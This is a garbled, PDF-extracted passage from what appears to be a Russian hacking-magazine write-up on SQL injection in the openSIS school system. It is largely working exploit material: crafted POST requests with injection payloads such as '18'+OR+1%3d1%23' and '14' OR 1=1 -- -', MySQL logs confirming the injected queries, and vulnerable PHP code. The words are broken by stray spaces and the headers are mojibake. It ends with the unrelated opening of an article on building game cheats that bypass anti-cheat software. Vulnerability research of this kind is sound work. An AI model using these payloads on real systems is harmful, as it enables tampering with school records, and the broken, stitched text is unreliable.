    WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30'

   AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS

Как видишь,  не зак лючен в кавыч ки, что дела ет эту перемен ную
уяз вимой для SQL-инъ екций. Я могу исполь зовать полез ную наг рузку 

:

s.STUDENT_ID
XSS OR

1=1

   tail -f  /var/log/mysql/mysql.log | grep -i 'xss'
2024-04-27T13:35:15.303711Z     9 Query 
SELECT s.* FROM students s,login_authentication la 
WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa'

1 AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS OR 1=
3 AND la.PROFILE_ID=

2024-04-27T13:35:29.563796Z    10 Query 
SELECT la.PASSWORD FROM students s,login_authentication la 
WHERE la.USER_ID=s.STUDENT_ID  AND s.BIRTHDATE='2024-04-30'

1 AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS OR 1=

Вот как выг лядит уяз вимый код для вос ста нов ления юзер ней ма. Файл
, стро ка 395:ResetUserInfo.php

  $get_stu_info = DBGet(DBQuery('SELECT la.PASSWORD FROM students s,
login_authentication la
WHERE la.USER_ID=s.STUDENT_ID  AND s.BIRTHDATE='' . date('Y-m-d', 

strtotime($stu_dob)) . ''
    AND la.PROFILE_ID=3 AND s.STUDENT_ID=' . $username_stn_id . ''));

А вот уяз вимый код, который обра баты вает фор му вос ста нов ления пароля.
Файл , стро ка 296:ResetUserInfo.php

  $stu_info = DBGet(DBQuery('SELECT s.* FROM students s,
login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='' . $uname . ''
AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . ''

    AND s.STUDENT_ID=' . $password_stn_id . ' AND la.PROFILE_ID=3'));

От сюда мы можем понять, что если греп нуть по выраже нию , то мы,

веро ятно, получим все парамет ры, которые не зак лючены в кавыч ки.

=' . $

Нап ример, исполь зуем вот такую коман ду:

find         . -exec grep -R "=' \\. \\$" {} \; 2>/dev/null | grep 'DBQuery'

В резуль тате мы получим все парамет ры, которые не зак лючены в кавыч ки,
а так же мно жес тво дру гих парамет ров, которые могут быть уяз вимы. Про- 
верять их все не сто ит нашего вре мени, поэто му про дол жим искать уяз- 
вимос ти:

 
  

./index.php: $usr_prof = DBGet(DBQuery('SELECT * FROM user_profiles 
WHERE ID=' . $login_uniform['PROFILE_ID']));

 
  

  Y-m-d

./index.php: $check_enrollment = DBGet(DBQuery('SELECT COUNT(*) AS 
REC_EX FROM student_enrollment WHERE STUDENT_ID=' . $login_uniform[
'USER_ID'] . ' AND END_DATE<'' . date(' ') . '' ORDER BY ID DESC 
LIMIT 0,1'));

 
  1][

./index.php:                $opensis_staff_access = DBGet(DBQuery(
'SELECT * FROM staff_school_info WHERE STAFF_ID=' . $login_Check[
'STAFF_ID']));

ÀÓÒÅÍÒÈÔÈÖÈÐÎÂÀÍÍÛÅ SQLI

School Setup
У это го при ложе ния очень инте рес ный под ход к защите от SQL-инъ екций,
называ емый .SingleQuoteReplace

    function singleQuoteReplace($param1, $param2, $param3) {
       if(empty($param1)) $param1 = false;
       if(empty($param2)) $param2 = false;
        return str_replace("'", "''", str_replace("'", "'", $param3));

Эта фун кция, по сути, заменя ет одну оди нар ную кавыч ку дву мя оди нар ными
кавыч ками, тем самым пре дот вра щая SQL-инъ екцию.

Да вай про верим параметр  в зап росе ниже:TITLE

POST /openSIS/Modules.php?modname=schoolsetup/MarkingPeriods.php&mp_
term=FY&marking_period_id=18&year_id=&semester_id=&quarter_id= HTTP/
1.1 
Host: 192.168.147.131 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o 
Connection: close 

tables[18][TITLE]=XSS&tables[18][SHORT_NAME]=FYaaaaaaa&tables[18][
DOES_COMMENTS]=Y&tables[18][DOES_GRADES]=Y&tables[18][DOES_EXAM]=Y&
month_tables[18][START_DATE]=09&day_tables[18][START_DATE]=01&year_
tables[18][START_DATE]=2023&month_tables[18][END_DATE]=08&day_tables[
18][END_DATE]=31&year_tables[18][END_DATE]=2024&month_tables[18][
POST_START_DATE]=09&day_tables[18][POST_START_DATE]=01&year_tables[
18][POST_START_DATE]=2023&month_tables[18][POST_END_DATE]=08&day_
tables[18][POST_END_DATE]=31&year_tables[18][POST_END_DATE]=2024&btn_
save=Save 

Ког да я отправ ляю зап рос, подоб ный при веден ному выше, я вижу:

2024-04-27T14:35:37.678456Z    70 Query 
SELECT * FROM marking_periods WHERE upper(TITLE)='XSS' 
AND SCHOOL_ID='1' AND SYEAR='2024'AND MARKING_PERIOD_ID NOT IN('18') 

Ес ли вмес то  я вве ду , SQL-зап рос будет нем ного дру гим:XSS XSS'

2024-04-27T14:36:10.103810Z    81 Query 
SELECT * FROM marking_periods WHERE upper(TITLE)='XSS''' 
AND SCHOOL_ID='1' AND SYEAR='2024' 
AND MARKING_PERIOD_ID NOT IN('18') 

Моя оди нар ная кавыч ка заменя ется дву мя оди нар ными кавыч ками. Что бы
сде лать этот слу чай более понят ным, ты можешь исполь зовать прос той PHP-
код, что бы про верить это самос тоятель но.

<?php
    function singleQuoteReplace($param1, $param2, $param3) {

       if(empty($param1)) $param1 = false;
       if(empty($param2)) $param2 = false;
        return str_replace("'", "''", str_replace("'", "'", $param3));
}

   echo singleQuoteReplace('', '', "XSS'");
 echo "\n";

?>

Ре зуль тат:

 

 

root@ubuntu:~# php 1.php 
XSS''

Да вай заг лянем в исходни ки, отно сящи еся к этой час ти при ложе ния. Нам
нужен файл , стро ка 271:modules/schoolsetup/MarkingPeriods.php

   $TITLE_COUNT = DBGet(DBQuery('SELECT * FROM marking_periods
WHERE upper(TITLE)='' . strtoupper(singleQuoteReplace('', '', 

$value)) . ''
AND SCHOOL_ID='' . UserSchool() . '' AND SYEAR='' . UserSyear() . ''
AND MARKING_PERIOD_ID NOT IN('' . $_REQUEST['marking_period_id'] . 

'')'));

Есть еще один SQL-зап рос, свя зан ный с зап росом выше:

     UPDATE school_years SET TITLE='XSS''',TITLE='XSS''' WHERE
MARKING_PERIOD_ID='18'

Его код находит ся в , стро- 

ки 270–286:

modules/schoolsetup/MarkingPeriods.php

      $sql = 'UPDATE ' . $table . ' SET ';
      foreach ($columns as $column => $value) {

    $value = paramlib_validation($column, trim($value));
         if ($column == 'DOES_GRADES' && $value == '') {
        $sql_ex = 'update ' . $table . ' set DOES_EXAM='' where 
marking_period_id='' . $_REQUEST['marking_period_id'] . ''';
 }
         if ($column == 'TITLE' && $columns['TITLE'] != '') {
    $TITLE_COUNT = DBGet(DBQuery('SELECT * FROM marking_periods WHERE 
upper(TITLE)='' . strtoupper(singleQuoteReplace('', '', $value)) . 
'' AND SCHOOL_ID='' . UserSchool() . '' AND SYEAR='' . UserSyear() . 
''AND MARKING_PERIOD_ID NOT IN('' . $_REQUEST['marking_period_id'] . 
'')'));

        if (is_countable($TITLE_COUNT) && count($TITLE_COUNT) > 0) {
     $err_msg = _titleAlreadyExists;
    break 2;
    } else {
       $sql .= $column . '='' . singleQuoteReplace('', '', trim(
$value)) . '',';
     $go = true;
  }
 }

Как видишь, наш зап рос начина ется с .

Здесь  — это, оче вид но, имя таб лицы. Даль ше выпол нение перехо дит
ко вто рому опе рато ру if, потому что мы уста нови ли заголо вок :

'UPDATE ' . $table . ' SET ';
$table

XSS

       if ($column == 'TITLE' && $columns['TITLE'] != '')

Те перь мы попада ем в блок else:

    $sql .= $column . '='' . singleQuoteReplace('', '', trim($value)) . 
'',';

Я исполь зовал  в качес тве вход ных дан ных, и это дало такой SQL-зап рос:XSS'

2024-04-27T14:58:52.933692Z   241 Query 
UPDATE school_years SET TITLE='XSS''',TITLE='XSS''',SHORT_

NAME='FYaaaaaaa', 
DOES_COMMENTS='Y',DOES_GRADES='Y',DOES_EXAM='Y', 
POST_START_DATE='2023-09-01',POST_END_DATE='2024-08-31' WHERE 

MARKING_PERIOD_ID='18' 

Я решил уда лить  и пос мотреть, что изме нит ся в зап- 

росе:

SingleQuoteReplace

    $sql .= $column . '='' . $value . '',';

SQL-зап рос:

    2024-04-27T14:58:12.880333Z 230 Query
   UPDATE school_years SET TITLE='XSS'',TITLE='XSS''',SHORT_NAME='

FYaaaaaaa',
DOES_COMMENTS='Y',DOES_GRADES='Y',DOES_EXAM='Y',POST_START_DATE='

2023-09-01',
POST_END_DATE='2024-08-31' WHERE MARKING_PERIOD_ID='18'

Толь ко зна чение пер вого стол бца экра ниро вано, вто рой  остался преж- 

ним. Я вер нул код обратно и вмес то  написал :

TITLE
18 18"

POST /openSIS/Modules.php?modname=schoolsetup/MarkingPeriods.php&mp_
term=FY&marking_period_id=18&year_id=&semester_id=&quarter_id= HTTP/
1.1 
Host: 192.168.147.131 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o 
Connection: close 
Content-Length: 546 

tables[18''][TITLE]=XSS'&tables[18][SHORT_NAME]=FYaaaaaaa&tables[18][
DOES_COMMENTS]=Y&tables[18][DOES_GRADES]=Y&tables[18][DOES_EXAM]=Y&
month_tables[18][START_DATE]=09&day_tables[18][START_DATE]=01&year_
tables[18][START_DATE]=2023&month_tables[18][END_DATE]=08&day_tables[
18][END_DATE]=31&year_tables[18][END_DATE]=2024&month_tables[18][
POST_START_DATE]=09&day_tables[18][POST_START_DATE]=01&year_tables[
18][POST_START_DATE]=2023&month_tables[18][POST_END_DATE]=08&day_
tables[18][POST_END_DATE]=31&year_tables[18][POST_END_DATE]=2024&btn_
save=Save 

По чему я заменил 18 в пер вом ?tables[]
Пос коль ку зап рос был , логич но было

изме нить 18 в парамет ре . SQL-зап рос сей час такой:

UPDATE school_years SET TITLE
TITLE

        
  

2024-04-27T15:11:25.255965Z 314 Query UPDATE school_years SET TITLE
='XSS''',TITLE='XSS''' WHERE MARKING_PERIOD_ID='18'''

По чему  был заменен , а  остался как  (то есть не изме- 

нил ся), если я вер нул все в нор му и вклю чил фун кцию ?

XSS' XSS'' 18'' 18''
SingleQuoteReplace

По тому что в коде  заменя ет одну оди нар ную кавыч ку

дву мя оди нар ными кавыч ками толь ко в парамет ре пер вого стол бца, а не
в дру гих. Инъ екция здесь осу щест вля ется в параметр ,

и  там не сра бота ет.

SingleQuoteReplace

MARKING_PERIOD_ID
SingleQuoteReplace

Я поменял  на . Теперь зап рос такой:18" 18'+OR+1%3d1%23

POST /openSIS/Modules.php?modname=schoolsetup/MarkingPeriods.php&mp_
term=FY&marking_period_id=18&year_id=&semester_id=&quarter_id= HTTP/
1.1 
Host: 192.168.147.131 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o 
Connection: close 
Content-Length: 558 

tables[18'+OR+1%3d1%23][TITLE]=XSS'&tables[18][SHORT_NAME]=FYaaaaaaa&
tables[18][DOES_COMMENTS]=Y&tables[18][DOES_GRADES]=Y&tables[18][
DOES_EXAM]=Y&month_tables[18][START_DATE]=09&day_tables[18][START_
DATE]=01&year_tables[18][START_DATE]=2023&month_tables[18][END_DATE]
=08&day_tables[18][END_DATE]=31&year_tables[18][END_DATE]=2024&month_
tables[18][POST_START_DATE]=09&day_tables[18][POST_START_DATE]=01&
year_tables[18][POST_START_DATE]=2023&month_tables[18][POST_END_DATE]
=08&day_tables[18][POST_END_DATE]=31&year_tables[18][POST_END_DATE]
=2024&btn_save=Save 

SQL-зап рос:

        
    

2024-04-27T15:14:17.857574Z 326 Query UPDATE school_years SET TITLE
='XSS''',TITLE='XSS''' WHERE MARKING_PERIOD_ID='18' OR 1=1#'

Не кото рые слу чаи, вклю чающие INSERT, могут быть труд ными для тес тирова- 
ния, пос коль ку тебе при дет ся каж дый раз уда лять встав ленные зна чения.
Один из таких слу чаев — в этом зап росе:

POST /openSIS/Modules.php?modname=schoolsetup/SystemPreference.php&
modfunc=update&page_display=FAILURE HTTP/1.1 
Host: 192.168.147.131 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o 
Connection: close 

failure%5BFAIL_COUNT%5D=1111 

SQL-зап рос:

    INSERT INTO system_preference_misc (FAIL_COUNT) VALUES(11111)

Код SQL-зап роса сфор мирован в фай ле 

, стро ки 31–47:

modules/schoolsetup/
FailureCount.php

    if ($_REQUEST['modfunc'] == 'update') {
     if ($_REQUEST['failure']) {

         $TOTAL_COUNT = DBGet(DBQuery("SELECT COUNT(FAIL_COUNT) AS 
TOTAL_COUNT FROM system_preference_misc"));

         $TOTAL_COUNT = $TOTAL_COUNT[1]['TOTAL_COUNT'];
             if ($TOTAL_COUNT == 0 && $_REQUEST['failure']['FAIL_COUNT'])

{

    
           DBQuery('INSERT INTO system_preference_misc (FAIL_COUNT) 
VALUES(' . $_REQUEST['failure']['FAIL_COUNT'] . ')');

             } else if ($TOTAL_COUNT == 1) {
             $sql = 'UPDATE system_preference_misc SET ';

                 foreach ($_REQUEST['failure'] as $column_name => $value)
{

      
    

               $sql .= "$column_name='" . str_replace("'", "''",
str_replace("`", "''", $value)) . "',";
           }

                 $sql = substr($sql, 0, -1) . ' WHERE 1=1';
           DBQuery($sql);
       }
   }
   unset($_REQUEST['failure']);
}

Продолжение статьи →
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ДЫРЫ В OPENSIS
РАЗБИРАЕМ SQL-ИНЪЕКЦИИ

НА ЖИВОМ ПРИМЕРЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Здесь нет про вер ки и очис тки, сле дова тель но, этот параметр так же уяз вим
для SQL-инъ екций. И опять же, в этом слу чае мы можем исполь зовать 

 и получить дру гие уяз вимые парамет ры.

grep (
' .$

Раз работ чик явно попытал ся пре дот вра тить SQL-инъ екцию, удво ив встав- 
ленные двой ные кавыч ки, но это при вело лишь к курь езу.

От прав ляем зап рос:

POST /openSIS/Modules.php?modname=schoolsetup/Courses.php&subject_
id=new HTTP/1.1 
Host: 192.168.147.131 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o 
Connection: close 
Content-Length: 51 

tables%5Bcourse_subjects%5D%5Bnew%5D%5BTITLE%5D=XSS 

По луча ется вот такой SQL-зап рос:

   2024-04-27T18:33:20.677481Z 1489 Query
   INSERT INTO course_subjects (SCHOOL_ID,SYEAR,TITLE)

values('1','2024',"XSS")

Все выг лядит нор маль но, но в коде двой ная кавыч ка дуб лиру ется. Смот ри
, стро ку 1424:modules/schoolsetup/Courses.php

  $go = 0;
      foreach ($columns as $column => $value) {

        if ($value != '') {
           $value = trim(paramlib_validation($column, $value));
            $fields .= $column . ',';

           if (stripos($_SERVER['SERVER_SOFTWARE'], 'linux')) {
              $value = mysql_real_escape_string($value);

        }
            $value = str_replace('"', '""', $value);
              $values .= '"' . $value . '",';

          $go = true;
    }
}

Это зна чит, что, если я вве ду , эта стро ка прев ратит ся в . Но есть

и какая-то санити зация, где имен но она про исхо дит, я так и не выяс нил. Ког- 
да я вво жу стро ку , она прев раща ется в . Но пос коль ку в при веден ном
выше коде есть вызов фун кции , он испра вит  на , что

при ведет к SQL-инъ екции.

XSS" XSS""

XSS XSS"
str_replace XSS" XSS""

Ито го: раз работ чик при менил две меры безопас ности — удво ение кавыч- 
ки и санити зацию. И при вело это толь ко к соз данию уяз вимого кода, пос коль- 
ку один под ход про тиво речит дру гому и порядок их исполь зования неверен.

Я решил отпра вить еще один зап рос с полез ной наг рузкой :XSS")#

POST /openSIS/Modules.php?modname=schoolsetup/Courses.php&subject_
id=new HTTP/1.1 
Host: 192.168.147.131 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o 
Connection: close 
Content-Length: 54 

tables%5Bcourse_subjects%5D%5Bnew%5D%5BTITLE%5D=XSS")# 

SQL-зап рос:

   2024-04-27T18:38:34.728708Z 1495 Query
   INSERT INTO course_subjects (SCHOOL_ID,SYEAR,TITLE)

values('1','2024',"XSS"")#")

Students
Слу чай, ана логич ный опи сан ному выше, про изо шел с оди нар ными кавыч- 
ками.

Пер вый зап рос:

POST /openSIS/Modules.php?modname=students/StudentFields.php&
table=student_field_categories HTTP/1.1 
Host: 192.168.147.131 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 
Cookie: PHPSESSID=5iesmnaum69q6unsnaalqbi2tc 
Connection: close 

tables%5Bnew%5D%5BTITLE%5D=XSS&tables%5Bnew%5D%5BSORT_ORDER%5D=1111&
tables%5Bnew%5D%5BINCLUDE%5D=bbbb 

SQL-зап рос:

       SELECT COUNT(*) AS TITLE_FOUND FROM student_field_categories WHERE
TITLE='XSS'

Код , стро ка 58:modules/students/StudentFields.php

      } elseif ($table == 'student_field_categories') {
     if (trim($_REQUEST['tables']['new']['TITLE']) != '') {
    $chk_title = DBGet(DBQuery('SELECT COUNT(*) AS TITLE_FOUND FROM 
student_field_categories WHERE TITLE='' . str_replace("'", "''", 
trim($_REQUEST['tables']['new']['TITLE'])) . '''));

Как вид но из кода, он заменя ет одну оди нар ную кавыч ку дву мя оди нар ными
кавыч ками. Таким обра зом, он вый дет ( ) из вве ден ной нами кавыч ки, а затем

добавит еще одну кавыч ку ( ), тем самым выпол нив SQL-инъ екцию. Я буду

исполь зовать наг рузку :

'
''

XSS'#

         
    

2024-04-30T13:35:45.590461Z 47 Query SELECT COUNT(*) AS
TITLE_FOUND FROM student_field_categories WHERE TITLE='XSS''#'

Тот же слу чай про изо шел и в фай ле 

, стро ки 37–54:

modules/students/EnrollmentCodes.
php

  $sql = 'UPDATE student_enrollment_codes SET ';

      foreach ($columns as $column => $value) {
      

          
             

if (($select_enroll[1]['TYPE'] == 'Roll' || $select_enroll[1][
'TYPE'] == 'TrnD' || $select_enroll[1]['TYPE'] == 'TrnE' || $value ==
'Roll' || $value == 'TrnD' || $value == 'TrnE') && $column == 'TYPE')
{
    $error = true;
  continue;
 }
    $value = paramlib_validation($column, trim($value));
     $sql .= $column . '='' . str_replace("'", "''", $value) . ' ',';
 $go = true;
}
$sql = substr($sql, 0, -1) . ' WHERE ID='' . $id . ''';
if ($go)
 DBQuery($sql);

if ($error) {
 ShowErrPhp(_canTEditTypeBecauseItIsNotEditable);
}

Как ты видишь, для  нет про вер ки, что дела ет его уяз вимым для SQL-инъ- 
екций.

$id

POST /openSIS/Modules.php?modname=students/EnrollmentCodes.php&
modfunc=update HTTP/1.1 
Host: 192.168.147.131 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36 
Cookie: PHPSESSID=5iesmnaum69q6unsnaalqbi2tc 
Connection: close 
Content-Length: 152 

LO_search=&values[14''][TITLE]=AAAA&values[14][SHORT_NAME]=BBB&
values[14][TYPE]=Drop&values[new][TITLE]=&values[new][SHORT_NAME]=&
values[new][TYPE]= 

SQL-зап рос:

    2024-04-30T13:41:58.636133Z 140 Query
 UPDATE student_enrollment_codes

   SET TITLE='AAAA ' WHERE ID='14'''

Я исполь зовал полез ную наг рузку , SQL-зап рос такой:14' OR 1=1 -- -

    2024-04-30T13:43:42.143231Z 147 Query
 UPDATE student_enrollment_codes

     SET TITLE='AAAA ' WHERE ID='14' OR 1=1-- -'

В резуль тате все наз вания были замене ны.

Users
Это при ложе ние про дол жает удив лять меня: есть фун кции, которые на самом
деле пре дот вра щают SQL-инъ екции (и некото рые из них соз даны самими
раз работ чиками), но раз работ чики эти каким-то нево обра зимым обра зом
исполь зовали эти фун кции так, что прог рамма не прос то оста лась уяз- 
вимой — воз можность для инъ екций теперь есть вооб ще на каж дой стра- 
нице!

Инъ екции мож но пре дот вра тить, нап ример, переби рая зна чения из зап- 
роса средс тва ми опе рато ра , как в стро ке 70 в 

:
foreach modules/users/

includes/CertificationInfoInc.php

      foreach ($_REQUEST['values'] as $cert_id => $cert_value) {
       if ($cert_id && $cert_id != 'new') {
    $sql = "UPDATE staff_certification SET ";
        foreach ($cert_value as $column => $value) {
    if (!is_array($value))
              $sql .= $column . "='" . str_replace("'", "''", $value) . "',";
    else {
        $sql .= $column . "='||";
        foreach ($value as $val) {

      if ($val)
            $sql .= str_replace('"', '"', $val) . '||';

    }
      $sql .= "',";
   }
  }
        $sql = substr($sql, 0, -1) . " WHERE STAFF_CERTIFICATION_ID='
$cert_id'";

  DBQuery($sql);

Но здесь , наобо рот, соз дает ситу ацию, бла года ря которой SQLi

мож но про пих нуть через любой параметр. Как видишь,  никак
не санити зиру ется и берет ся из зна чения , нап ример:

foreach
$cert_id

"values"

POST /openSIS/Modules.php?modname=users/Staff.php&custom=staff&
include=CertificationInfoInc&category_id=4&staff_id=30&
modfunc=update HTTP/1.1 
Host: 192.168.147.131 
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryQS9jXjB4QidjJBZp 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36 
Cookie: PHPSESSID=0oelpc05g9clrnv5fdrvg8kvqr 
Connection: close 

------WebKitFormBoundaryQS9jXjB4QidjJBZp 
Content-Disposition: form-data; name="error_handler" 

------WebKitFormBoundaryQS9jXjB4QidjJBZp 
Content-Disposition: form-data; name="LO_search" 

Search 
------WebKitFormBoundaryQS9jXjB4QidjJBZp 
Content-Disposition: form-data; name="values[1][STAFF_CERTIFICATION_
NAME]" 

AAAA2 
------WebKitFormBoundaryQS9jXjB4QidjJBZp 
Content-Disposition: form-data; name="month_values[1][STAFF_
CERTIFICATION_DATE]" 

05 
------WebKitFormBoundaryQS9jXjB4QidjJBZp 
Content-Disposition: form-data; name="day_values[1][STAFF_
CERTIFICATION_DATE]" 
... 

Все, что содер жит , уяз вимо, вклю чая те слу чаи, ког да вмес то циф- 

ры сто ит текст, нап ример . Зап рос к базе дан ных выг лядит сле- 

дующим обра зом:

"values"
values[new]

  root@ubuntu:~# tail -f  /var/log/mysql/mysql.log | grep 'WHERE 
STAFF_CERTIFICATION_ID'
2024-05-02T17:37:22.846611Z  2032 Query 

, UPDATE staff_certification  SET STAFF_CERTIFICATION_NAME='AAAA2'
STAFF_PRIMARY_CERTIFICATION_INDICATOR=NULL, 

, STAFF_CERTIFICATION_DATE='2024-05-01'
STAFF_CERTIFICATION_EXPIRY_DATE='2024-05-31'
WHERE STAFF_CERTIFICATION_ID='1'

2024-05-02T17:37:22.846988Z  2032 Query 
UPDATE staff_certification  SET 
STAFF_PRIMARY_CERTIFICATION_INDICATOR=NULL, 

, STAFF_CERTIFICATION_DATE='2024-05-01'
STAFF_CERTIFICATION_EXPIRY_DATE='2024-05-31'
WHERE STAFF_CERTIFICATION_ID='2'

... 

Ес ли я заменю каж дое зна чение дру гим чис лом, оче вид но, количес тво апдей- 
тов уве личит ся и будет рав но количес тву чисел. Я заменил пер вые 16 зна- 
чений на чис ла от 1 до 15 (исполь зовал 1 два раза):

------WebKitFormBoundaryQS9jXjB4QidjJBZp 
Content-Disposition: form-data; name="error_handler" 

------WebKitFormBoundaryQS9jXjB4QidjJBZp 
Content-Disposition: form-data; name="LO_search" 

Search 
------WebKitFormBoundaryQS9jXjB4QidjJBZp 
Content-Disposition: form-data; name="values[1][STAFF_CERTIFICATION_
NAME]" 
... 

SQL-зап рос:

2024-05-02T17:39:02.393434Z  2208 Query 
UPDATE staff_certification 
SET STAFF_CERTIFICATION_NAME='AAAA2',STAFF_CERTIFICATION_DATE='-05'
WHERE STAFF_CERTIFICATION_ID='1'

2024-05-02T17:39:02.394323Z  2208 Query UPDATE staff_certification 
SET STAFF_PRIMARY_CERTIFICATION_INDICATOR=NULL, 

, STAFF_CERTIFICATION_DATE='2024-05-01'
STAFF_CERTIFICATION_EXPIRY_DATE='2024-05-31'
WHERE STAFF_CERTIFICATION_ID='4'

Все го есть 15 зап росов . Уяз вимость лег ко про демонс три ровать,

исполь зуя :

UPDATE
{n}'#

month_values[15'#][STAFF_CERTIFICATION_DATE]
2024-05-02T17:41:05.612987Z  2253 Query UPDATE staff_certification  
SET STAFF_CERTIFICATION_DATE='-05' WHERE STAFF_CERTIFICATION_ID='15
'#'

Âàëèäàöèÿ ïàðàìåòðîâ
В openSIS есть валида ция парамет ров, которую мож но исполь зовать, выз вав
фун кцию . Фун кция  мно го раз вызыва ется в коде,
мы рас смот рим  и .

clean_param clean_param
PARAM_NOTAGS PARAM_ALPHA

 case PARAM_NOTAGS:       // Strip all tags
     $param = strip_tags($param);
       $param = str_replace('>', '', $param);
      return str_replace('<', '', $param);

 case PARAM_ALPHA:        // Remove everything not a-z
      return par_rep('/[^a-zA-Z#&]/i', '', $param);
   //  return replace_croatain($param);

Код  хорош для пре дот вра щения XSS. Но я бы не исполь зовал
его, потому что поль зовате лю могут пот ребовать ся теги в заголов ке, так что
кодиро вание HTML было бы луч ше в этом слу чае.  очи щает вход- 

ной параметр , уда ляя все сим волы, которые не явля ются стан дар тны- 
ми бук вами,  или . Я видел исполь зование этих кей сов в стро ках 114–

128 в :

PARAM_NOTAGS

PARAM_ALPHA
$param
# &

modules/users/Profiles.php

    
 

if (clean_param($_REQUEST['new_profile_title'], PARAM_NOTAGS) &&
AllowEdit()) {

   // $id = DBGet(DBQuery('SHOW TABLE STATUS LIKE '' . 
'user_profiles' . '''));
   // $id[1]['ID'] = $id[1]['AUTO_INCREMENT'];
   // $id = $id[1]['ID'];
     $exceptions_RET = array();
       $_REQUEST['new_profile_title'] = str_replace("'", "''", $_REQUEST
['new_profile_title']);
   DBQuery('INSERT INTO user_profiles (TITLE,PROFILE) values('' . 
clean_param($_REQUEST['new_profile_title'], PARAM_NOTAGS) . '','' . 
clean_param($_REQUEST['new_profile_type'], PARAM_ALPHA) . '')');
     $_REQUEST['profile_id'] = mysqli_insert_id($connection);
     $xprofile = $_REQUEST['new_profile_type'];
   unset($_REQUEST['new_profile_title']);
   unset($_REQUEST['new_profile_type']);
   unset($_SESSION['_REQUEST_vars']['new_profile_title']);
   unset($_SESSION['_REQUEST_vars']['new_profile_type']);
}

Ва лида ция  с исполь зовани ем  пре дот вра- 

щает SQL-инъ екции, пос коль ку зап реща ет исполь зовать кавыч ки.
Но  пред назна чен толь ко для XSS.

new_profile_type PARAM_ALPHA

PARAM_NOTAGS
Вот такой зап рос стриг герит уяз вимость:

POST /openSIS/Modules.php?modname=users/Profiles.php&modfunc=update&
profile_id= HTTP/1.1 
Host: 192.168.147.131 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/
537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36 
Cookie: PHPSESSID=0oelpc05g9clrnv5fdrvg8kvqr 
Connection: close 

new_profile_title=aaaa')#&new_profile_type=admin 

SQL-зап рос:

2024-05-02T18:07:23.304858Z  2292 Query INSERT INTO user_profiles (
TITLE,PROFILE) values('aaaa'')#','admin') 

ÂÛÂÎÄÛ

Итак, мы наш ли огромный прос тор для SQL-инъ екций. Некото рые про экс плу- 
ати ровать не вый дет, в дру гих меры безопас ности сами ста нови лись при- 
чиной инъ екции, в треть их инъ екция пре дот вра щалась слу чай но.

Не экс плу ати руемые слу чаи — это те, в которых есть SQL-инъ екция, но ты
ничего от нее не можешь получить, а толь ко манипу лиру ешь некото рыми дан- 
ными. Но даже эти слу чаи иног да счи тают ся уяз вимос тями, пос коль ку они
угро жают целос тнос ти вво димых и сох раня емых дан ных (CVSS ~ 2,7
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N).

Ну и луч шее я оста вил напос ледок: вез де, где в при ложе нии исполь зуют ся
зна чения в квад ратных скоб ках, есть воз можность для SQL-инъ екции.
А исполь зуют ся они во всем при ложе нии.
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ВЗЛОМ

В этой статье я поп робую показать, как соз- 
дать собс твен ный чит, который будет про- 
тивос тоять исполь зуемым в играх анти- 
чит-сис темам. Для это го нам понадо бит ся
поуп ражнять ся в ревер се и поз накомить ся
с устрой ством игр, написан ных на Unity.

Äðó ãèå ñòàòüè öèê ëà î íàïèñà íèè ÷èòîâ
• Вскры ваем компь ютер ную игру и пишем трей нер на C++
• Смот рим сквозь сте ны и дела ем автопри цели вание для 3D-шутера

ÀÍÒÈ×ÈÒ

Итак, анти чит — это некая прог рамма, которая меша ет игро кам в онлай новые
игры получать нечес тное пре иму щес тво за счет исполь зования сто рон него
ПО. Не буду пытать ся объ яснить это на абс трак тном при мере, луч ше давай
сра зу перей дем к прак тике. По дороге все пой мешь!

Quick Universal Anti-Cheat Kit
Так как нет (или я прос то не нашел) анти читов уров ня ядра с откры тым
исходным кодом, то выбирать будем из опен сор сных анти читов, в которых
при сутс тву ет толь ко анти чит поль зователь ско го уров ня. Мой выбор пал
на анти чит  (далее Quack).Quick Universal Anti-Cheat Kit

Сра зу пре дуп реждаю, что Quack — это лишь прос тень кая опен сор сная
демонс тра ция кон цепции. Обой ти ее про ще, чем сис темы, которые исполь- 
зуют ся в популяр ных играх. Все ком мерчес кие анти читы работа ют как на
поль зователь ском уров не, так и  на уров не ядра. При чем самые важ ные
защит ные фун кции обыч но реали зова ны имен но в виде драй вера.

Од нако для обу чения Quack сго дит ся как нель зя луч ше, и изло жен ное
даль ше дол жно стать фун дамен том для будущих изыс каний.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
